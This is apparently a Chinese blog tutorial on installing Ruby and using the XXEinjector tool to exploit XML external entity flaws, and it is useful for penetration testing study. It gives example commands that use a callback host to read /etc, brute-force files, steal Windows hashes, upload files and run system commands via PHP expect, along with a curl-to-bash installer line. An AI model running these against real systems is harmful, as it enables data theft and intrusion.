XXEinjector全过程安装详细和使用教程

xml的xxe漏洞是目前Java比较关注的,使用多种直接或间接带外方法来检索文件,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。由于网上都是只有使用教程或者介绍功能(可能像我这样需要傻瓜式的有点少),我就收集整理详细一点。
搭建的系统:ubuntukylin-16.04-desktop-amd64(比较习惯有gui的)
xxeinjector工具:https://github.com/enjoiz/XXEinjector(20180714记录,url可用)
1. 首先是在ubuntu中搭建ruby
使用apt-get安装
# sudo apt-get update
# sudo apt-get install ruby 或者 # sudo apt-get install ruby2.0

使用brightbox ppa仓库安装
# sudo apt-get install Python-software-properties 
# sudo apt-add-repository ppa:brightbox/ruby-ng 
# sudo apt-get update 
# sudo apt-get install ruby2.1 ruby2.1-dev
使用RVM安装
# sudo apt-get curl
# curl -L https://get.rvm.io | bash -s stable
# source ~/.rvm/scripts/rvm(安装RVM完成)
# rvm requirements(安装RVM的环境依赖完成)
# rvm install ruby(安装Ruby完成)
想在Ubuntu上安装多个Ruby版本,可以指定使用rvm作为默认的Ruby版本管理。
# rvm use ruby --default
检查当前成功安装的Ruby版本
# ruby -v
安装gems
# gem list
# gem install [gem-name]
比如gem-name可以写sass
如果要从本地安装gems,命令如下:
# gem install --local [path of gem file]
可以使用命令更新已安装的gems,命令如下:
# gem update --system
或者
# gem update
2.      安装完后就将下载的xxeinjector放到目录解压,傻瓜式直接在ruby可利用的path下放,然后在当前目录打开shell,其余利用连接和全局变量的自己找。
可能需要的命令
#gem environment 查看ruby的目录的环境变量
#ruby -v 检查是否正确安装,同时查看版本
3.使用教程

变量的含义
--host     必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file      必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path           必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute          必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger        记录输出结果。
--rhost          远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport          远程主机的TCP端口信息。(--rport=8080)
--phpfilter    在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc     使用netdoc协议。(.
--enumports   枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes       窃取运行当前应用程序用户的Windows哈希。
--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload       使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt      XSLT注入测试。
--ssl              使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport       设置自定义FTP端口。(--ftpport=21)
--gopherport  设置自定义gopher端口。(--gopherport=70)
--jarport       设置自定义文件上传端口。(--jarport=1337)
--xsltport  设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test     该模式可用于测试请求的有效。
--urlencode     URL编码,默认为URI。
--output       爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout     设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout  设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast     跳过枚举询问,有可能出现结果假阳性。
--verbose     显示verbose信息。

=====================================
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
(完成   -_-        <'__'>)
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值